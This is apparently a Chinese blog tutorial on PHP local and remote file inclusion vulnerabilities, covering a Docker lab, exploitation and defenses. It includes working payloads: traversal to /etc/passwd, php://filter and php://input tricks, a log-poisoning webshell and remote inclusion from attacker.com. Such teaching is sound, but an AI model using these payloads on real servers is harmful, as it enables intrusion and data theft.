大家好,我是青岑。在Web安全的学习和渗透测试实践中,文件包含漏洞是一个高频且危害极大的安全风险点。很多开发者在构建动态网站时,为了代码复用和模块化,会使用文件包含函数,但如果对用户输入未做严格过滤,攻击者就能利用这一点读取系统敏感文件、执行任意代码,甚至控制整个服务器。本文将围绕“Web文件包含漏洞”展开,从原理、类型、实战复现到防御方案,为你构建一套完整的知识体系。无论你是刚入门安全的新手,还是想巩固基础的开发者,都能通过本文掌握文件包含漏洞的“攻”与“防”。
1. 文件包含漏洞的核心概念
1.1 什么是文件包含?
文件包含是Web开发中一种常见的代码复用技术。它允许开发者将一个文件的内容引入到另一个文件中,通常用于引入公共的头部、尾部、配置文件或函数库。这能有效减少代码冗余,提高开发效率和可维护性。
在PHP中,主要的包含函数有四个:
include():包含并运行指定文件。如果包含失败(如文件不存在),会发出一个警告(E_WARNING),但脚本会继续执行。require():包含并运行指定文件。如果包含失败,会发出一个致命错误(E_COMPILE_ERROR),并终止脚本执行。include_once():与include()功能相同,但会检查该文件是否已经被包含过,如果是则不会再次包含。require_once():与require()功能相同,同样具有“只包含一次”的特性。
1.2 漏洞是如何产生的?
文件包含功能本身无害,漏洞的产生源于开发者信任了用户可控的输入。当包含文件的路径(或文件名)部分,直接或间接地由用户传入的参数(如$_GET、$_POST、$_COOKIE等)控制,且未经过严格的校验和过滤时,攻击者就可以通过构造恶意参数,让应用程序包含非预期的文件。
一个简单的漏洞代码示例:
// file: index.php <?php $page = $_GET['page']; // 用户直接控制参数 include($page . '.php'); // 直接拼接到包含语句中 ?>正常访问可能是:http://target.com/index.php?page=home攻击者可以尝试:http://target.com/index.php?page=/etc/passwd此时,代码实际执行的是include(‘/etc/passwd’ . ‘.php’),即include(‘/etc/passwd.php’)。由于系统可能不存在这个文件,包含会失败。但这揭示了用户输入被直接用于文件路径的事实。
1.3 漏洞的危害与影响
文件包含漏洞的危害等级通常很高,主要威胁包括:
- 敏感信息泄露:读取服务器上的敏感文件,如
/etc/passwd(Linux用户账户信息)、/proc/self/environ(环境变量,可能包含密钥)、Web应用的配置文件(如config.php可能含数据库密码)、日志文件等。 - 远程代码执行(RCE):在特定条件下,包含一个攻击者上传的或远程服务器上的恶意文件,从而在目标服务器上执行任意代码,完全控制服务器。这是文件包含漏洞最危险的后果。
- 本地文件包含(LFI)与远程文件包含(RFI):这是漏洞的两种主要类型,我们接下来详细讲解。
- 攻击内网服务:通过包含
file://、http://等协议,可能利用存在漏洞的服务器作为跳板,探测或攻击内网其他服务。
2. 环境准备与测试环境搭建
为了安全地学习和复现漏洞,我们必须在隔离的环境中进行。强烈建议使用虚拟机或Docker搭建靶场。
2.1 环境说明
- 操作系统:Linux(如Ubuntu/Kali)或 Windows。本文示例基于Linux环境。
- Web服务器:Apache 或 Nginx。我们使用 Apache2。
- PHP版本:为了演示经典漏洞,我们使用一个存在安全缺陷的旧版本PHP(如5.x),并在php.ini中开启危险配置。在生产环境中,必须使用最新稳定版本并关闭危险设置。
- 靶场应用:我们可以手动编写漏洞代码,也可以使用现成的开源靶场,如
DVWA(Damn Vulnerable Web Application)、bWAPP或Web for Pentester。
2.2 使用Docker快速搭建PHP测试环境
这是最推荐的方式,可以快速创建和销毁环境,不影响宿主机。
拉取并运行一个包含旧版PHP和Apache的镜像:
docker run -d --name php-vuln-lab -p 8080:80 -v $(pwd)/www:/var/www/html vulnerables/web-dvwa这条命令做了几件事:
-d:后台运行。--name php-vuln-lab:给容器命名。-p 8080:80:将容器的80端口映射到宿主机的8080端口。-v $(pwd)/www:/var/www/html:将当前目录下的www文件夹挂载到容器的Web根目录,方便我们放置自己的测试文件。vulnerables/web-dvwa:一个预装了DVWA的镜像,也包含了有漏洞的PHP环境。
创建测试文件: 在宿主机的
www目录下,创建我们的漏洞测试文件lfi_test.php。mkdir www cd www cat > lfi_test.php << 'EOF' <?php // 一个存在本地文件包含漏洞的示例 if (isset($_GET['file'])) { $file = $_GET['file']; include($file); } else { echo "Please provide a 'file' parameter."; } ?> EOF访问测试页面: 打开浏览器,访问
http://your-host-ip:8080/lfi_test.php。你应该能看到提示信息。
3. 本地文件包含漏洞详解与实战
本地文件包含是指包含的文件来自于服务器本地文件系统。
3.1 基础LFI利用
利用上面创建的lfi_test.php,我们可以尝试包含系统文件。
读取Linux系统密码文件:
http://your-host-ip:8080/lfi_test.php?file=/etc/passwd如果成功,页面会显示/etc/passwd文件的内容。这是因为我们的漏洞代码直接使用了include($_GET[‘file’]),没有任何过滤。读取Web应用源码: 尝试包含当前目录或其他目录下的PHP文件。由于
include()会执行PHP代码,如果直接包含.php文件,我们看不到源码(因为被执行了)。这时需要利用PHP封装协议。http://your-host-ip:8080/lfi_test.php?file=php://filter/convert.base64-encode/resource=lfi_test.php这个URL使用了php://filter协议,将目标文件(lfi_test.php)的内容进行base64编码后再输出。我们将得到一串base64字符串,解码后即可获得源代码。这是审计代码、寻找数据库配置等敏感信息的关键技巧。
3.2 路径遍历与截断技巧
有时开发人员会为包含的文件添加后缀,例如我们最开始看到的include($page . ‘.php’)。
目录遍历:使用
../来跳转目录。http://target.com/index.php?page=../../../../etc/passwd通过多个../回溯到根目录,再定位到/etc/passwd。即使加了.php后缀,因为路径中包含了后缀,最终会尝试包含../../../../etc/passwd.php,这个文件通常不存在,所以攻击可能失败。我们需要结合截断技巧。截断技巧(PHP版本 < 5.3.4): 在旧版PHP中,存在“空字节截断”漏洞。字符串中的空字符(
%00)会被认为是字符串的结束。http://target.com/index.php?page=../../../../etc/passwd%00代码执行include(‘../../../../etc/passwd%00’ . ‘.php’),PHP在遇到%00时,认为字符串已结束,实际包含的文件就是../../../../etc/passwd,从而绕过后缀限制。注意:此技巧在PHP 5.3.4及以上版本已被修复。
3.3 利用PHP封装协议
PHP提供了一系列内置的URL风格封装协议,用于访问各种资源。在文件包含中,它们被广泛利用。
php://filter(读文件):如前所述,用于读取文件内容,特别是源码。php://filter/read=convert.base64-encode/resource=index.phpphp://filter/convert.base64-encode/resource=index.php(简写)
php://input(执行代码):访问请求的原始数据(POST数据)。需要allow_url_include=On。POST /lfi_test.php?file=php://input HTTP/1.1 Host: target.com ... <?php system('id'); ?>这将POST体中的
<?php system(‘id’); ?>作为PHP代码执行。data://(执行代码/读文件):数据流封装器,可以直接在URL中携带数据。需要allow_url_include=On。- 执行代码:
?file=data://text/plain,<?php phpinfo();?> - 编码后执行(绕过简单过滤):
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(这是<?php phpinfo();?>的base64编码)
- 执行代码:
file://(读文件):用于访问本地文件系统,是默认协议。?file=file:///etc/passwdzip://&phar://(反序列化与文件包含):可用于包含ZIP或PHAR归档中的文件,常与反序列化漏洞结合利用,非常强大。?file=zip:///path/to/archive.zip%23file.txt(#需要编码为%23)?file=phar:///path/to/archive.phar/file.txt
3.4 LFI到RCE的经典利用链
单纯的LFI可能只能读文件,如何升级到执行命令(RCE)?以下是几种常见场景:
场景一:包含日志文件Web服务器(如Apache、Nginx)或应用框架(如Laravel)都会生成日志。攻击者可以将PHP代码写入User-Agent或Referer等HTTP头,然后让存在LFI漏洞的页面去包含这个日志文件。
- 攻击者发送请求:
User-Agent: <?php system($_GET[‘c’]); ?> - 这个带恶意代码的User-Agent被记录到访问日志(如
/var/log/apache2/access.log)。 - 利用LFI包含日志文件:
?file=/var/log/apache2/access.log&c=id - 服务器执行日志文件中的PHP代码,成功RCE。关键点:需要知道日志文件的绝对路径,并且Web进程有读取权限。
- 攻击者发送请求:
场景二:包含Session文件PHP的Session数据通常存储在
/tmp/或/var/lib/php/sessions/目录下,文件名为sess_[session_id]。如果攻击者能控制部分Session内容(例如,一个将用户输入存入$_SESSION的页面),就可以将PHP代码写入Session文件,然后通过LFI包含它。关键点:需要知道或能预测Session文件路径和名称。场景三:包含临时文件(上传)通过文件上传功能,上传一个图片马(内容为
<?php phpinfo();?>的.jpg文件)。如果服务器只是检查了文件头或后缀,但没有将其移动到非Web目录或重命名,攻击者就可能通过LFI找到这个临时文件的路径并包含它。关键点:需要知道上传文件的完整路径,这通常比较困难。场景四:包含
/proc/self/environ在Linux中,/proc/self/environ文件包含了当前进程的环境变量。User-Agent等HTTP头有时会作为环境变量(如HTTP_USER_AGENT)出现在这里。攻击方法与日志文件包含类似。关键点:需要/proc文件系统可用,且环境变量可控。
4. 远程文件包含漏洞详解与实战
远程文件包含是指包含的文件来自于远程服务器(通过HTTP、FTP等协议)。其危害比LFI更大,因为它意味着攻击者可以直接从自己控制的服务器加载恶意脚本,无需依赖目标服务器上的特定文件。
4.1 RFI的条件
RFI需要更苛刻的服务器配置才能成功:
allow_url_fopen = On(默认常为On)allow_url_include = On(默认通常为Off,这是关键限制) 只有当这两个PHP配置项都为On时,include、require等函数才能包含远程URL。
4.2 RFI利用演示
假设目标服务器配置不当,且存在如下漏洞代码:
<?php $lang = $_GET['lang']; include($lang . '.php'); ?>攻击者可以在自己的公网服务器(attacker.com)上放置一个名为evil.php的文件,内容为<?php phpinfo(); ?>。 然后访问:http://target.com/vuln.php?lang=http://attacker.com/evil漏洞代码会执行include(‘http://attacker.com/evil.php’),从远程服务器加载并执行evil.php中的代码,直接在目标服务器上显示phpinfo信息,实现RCE。
4.3 RFI的利用技巧
- 问号截断:如果代码强制添加了后缀,如
.php,可以尝试在URL后加?。?lang=http://attacker.com/evil?最终拼接为http://attacker.com/evil?.php,?之后的部分被视为URL参数,远程服务器通常会忽略.php,从而正确返回evil文件的内容。 **利用FTP、SMB等协议**:除了HTTP,有时也可以使用其他协议进行包含。
重要提醒:由于allow_url_include默认关闭,且现代PHP版本和安全意识提升,纯粹的RFI漏洞已较少见,但作为攻击者必须检查的向量,作为开发者必须防范的风险,其原理依然重要。
5. 完整实战案例:从发现到利用
让我们模拟一个相对真实的场景,串联利用多种技术。
场景:一个简单的网站,有一个页面view.php用于显示文章,通过id参数定位文章文件。
// file: view.php <?php $id = $_GET['id']; if(!empty($id)) { $file = ‘articles/’ . $id . ‘.txt’; if(file_exists($file)) { highlight_file($file); // 高亮显示文本文件内容 } else { echo “Article not found.”; } } ?>目标:利用此漏洞获取网站管理后台admin.php的源代码。
攻击步骤:
探测漏洞:尝试路径遍历。
http://target.com/view.php?id=../../../../etc/passwd如果返回“Article not found”,说明file_exists检查失败,但路径遍历可能被过滤或当前目录限制。尝试更简单的:?id=../view(试图包含articles/../view.txt即view.txt)。我们需要换思路。发现真正的包含点:观察代码,它使用的是
highlight_file()来显示内容,并非include()。所以这里可能不是代码执行漏洞,而是文件读取漏洞。但我们的目标是读源码。我们可以尝试让$file变成一个PHP封装协议路径,highlight_file()同样支持部分协议。利用php://filter读源码:
http://target.com/view.php?id=php://filter/convert.base64-encode/resource=admin构造的$file为:articles/php://filter/convert.base64-encode/resource=admin.txt这显然不是一个有效的文件路径。我们需要让id参数在拼接前就包含完整的协议路径。但代码是$id . ‘.txt’,我们无法摆脱.txt后缀。除非…存在截断。尝试空字节截断(假设环境是旧版PHP):
http://target.com/view.php?id=php://filter/convert.base64-encode/resource=admin%00此时$file为:articles/php://filter/convert.base64-encode/resource=admin%00.txt如果空字节截断生效,PHP在内部处理路径时会忽略%00之后的内容,实际highlight_file()处理的路径就是articles/php://filter/convert.base64-encode/resource=admin。但articles/前缀还在,这会导致协议路径错误。使用路径遍历跳出articles目录:
http://target.com/view.php?id=../../../admin%00最终$file为:articles/../../../admin%00.txt->admin%00.txt。如果admin文件存在(即admin.php的源码),且空字节截断生效,highlight_file()会尝试高亮显示admin文件。但.php文件会被执行,我们看不到源码。结合协议与遍历: 关键是要让
php://filter协议在根路径生效。我们需要让$file的最终形式是php://filter/.../resource=admin.php,而不是articles/php://filter...。 由于代码硬编码了articles/前缀,我们无法直接去除它。但我们可以利用../回溯到根目录,再使用绝对路径的协议。http://target.com/view.php?id=../../../php://filter/convert.base64-encode/resource=/var/www/html/admin%00拼接后:articles/../../../php://filter/convert.base64-encode/resource=/var/www/html/admin%00.txt路径简化后:php://filter/convert.base64-encode/resource=/var/www/html/admin%00.txt假设空字节截断成功,实际读取:/var/www/html/admin(即admin.php文件)。highlight_file()会读取这个文件的内容,并通过filter进行base64编码后输出。我们在页面得到一串base64编码,解码即可获得admin.php的源代码。
这个案例展示了在实际漏洞利用中,需要灵活组合路径遍历、协议利用和截断技巧,并深刻理解代码的拼接逻辑。
6. 常见问题与排查思路
在学习和实战中,你可能会遇到以下问题:
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
包含/etc/passwd返回空白或警告 | 1. 文件不存在(Windows系统)。 2. Web进程(如www-data用户)无读取权限。 3. PHP配置了 open_basedir限制,禁止访问指定目录外的文件。 | 1. 确认目标系统。Windows可尝试C:\Windows\System32\drivers\etc\hosts。2. 尝试包含Web目录内的已知文件,如 ./index.php。3. 检查错误信息;尝试读取 /proc/self/cwd/index.php(当前工作目录)。 |
使用php://input或data://协议无效,代码不执行 | PHP配置allow_url_include为Off。 | 这是最可能的原因。RFI和这些协议依赖该设置。此时应专注于LFI利用技巧(日志、Session、php://filter读文件)。 |
路径遍历 (../) 被过滤或无效 | 1. 开发人员使用函数过滤了../。2. 路径被编码或规范化。 3. 应用使用了chroot环境。 | 1. 尝试双重编码..%252f(%2f是/的URL编码,再对其编码)。2. 尝试绝对路径 /etc/passwd。3. 尝试使用非标准路径分隔符(Windows下)。 |
| 包含文件后,页面显示乱码或下载 | 包含了一个二进制文件(如图片),或者包含的PHP文件被当作文本直接输出。 | 使用php://filter的convert.base64-encode资源来读取任何文件,获得可处理的base64字符串。 |
空字节 (%00) 截断无效 | PHP版本 >= 5.3.4,该漏洞已被修复。 | 放弃空字节截断,寻找其他绕过后缀的方法,如利用操作系统文件路径解析的特性(Windows下路径末尾的点号、空格),或利用?截断(仅对RFI有效)。 |
7. 防御方案与最佳实践
彻底杜绝文件包含漏洞,需要开发、运维和安全意识的共同作用。
7.1 代码层防御(根本解决)
白名单校验:这是最有效的方法。不要使用用户输入直接作为文件名。如果必须动态包含,应预先定义允许包含的文件列表(白名单),严格检查用户输入是否在列表中。
$allowed_pages = [‘home’, ‘about’, ‘contact’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { die(‘Invalid page requested.’); }固定目录+后缀:如果白名单不灵活,至少要将用户输入严格限制在某个安全目录内,并强制添加固定后缀。
$file = ‘./includes/’ . basename($_GET[‘module’]) . ‘.inc.php’; // basename() 会去掉路径部分,只保留文件名,防止目录遍历 if (file_exists($file)) { include($file); }避免动态包含:重新评估架构,是否真的需要动态包含?能否用路由、前端框架或模板引擎来替代?
使用安全的函数/方法:例如,使用
require_once或include_once引入固定的配置文件或类库,而非动态路径。
7.2 配置层加固
PHP配置:
allow_url_include = Off:必须关闭。这是防止RFI的最关键设置。allow_url_fopen = Off:如果业务不需要从远程URL打开文件,建议关闭。open_basedir:设置PHP可以访问的目录范围,将其限制在Web应用所需的目录内,例如open_basedir = /var/www/html:/tmp。这能有效限制LFI的影响范围。disable_functions:在php.ini中禁用危险函数,如system,exec,passthru,shell_exec,proc_open等。即使攻击者通过LFI执行了代码,也无法调用这些高危函数。
Web服务器配置:通过Apache的
.htaccess或Nginx的location规则,限制对敏感目录(如/proc/,/etc/)的访问。系统权限:运行Web服务的用户(如
www-data,nginx)应遵循最小权限原则,仅拥有对Web根目录和必要临时目录的读写权限,无权读取/etc/passwd等系统文件。
7.3 安全开发与运维习惯
- 代码审计:在开发过程中和上线前,对代码进行安全审计,重点关注
include,require,file_get_contents,fopen等文件操作函数,检查其参数是否用户可控。 - 输入验证与过滤:对所有用户输入进行严格的验证和过滤。不仅过滤
../,还要警惕编码绕过、空字节等技巧。 - 错误处理:关闭生产环境的错误回显(
display_errors = Off),使用自定义错误页面,避免泄露服务器路径等敏感信息。 - 定期更新与漏洞扫描:保持PHP、Web服务器及所有应用组件更新到最新稳定版本。定期使用自动化工具或人工进行漏洞扫描。
- 使用Web应用防火墙:部署WAF可以有效拦截常见的文件包含攻击payload。
文件包含漏洞的根源在于“信任了不可信的输入”。作为开发者,必须时刻保持安全意识,对任何来自外部的数据都视为有害的,并进行严格的验证和净化。作为安全研究者,理解这些漏洞的原理和利用手法,才能更好地进行防御。希望这篇近万字的详细解析,能帮助你彻底掌握Web文件包含漏洞,在安全的道路上更进一步。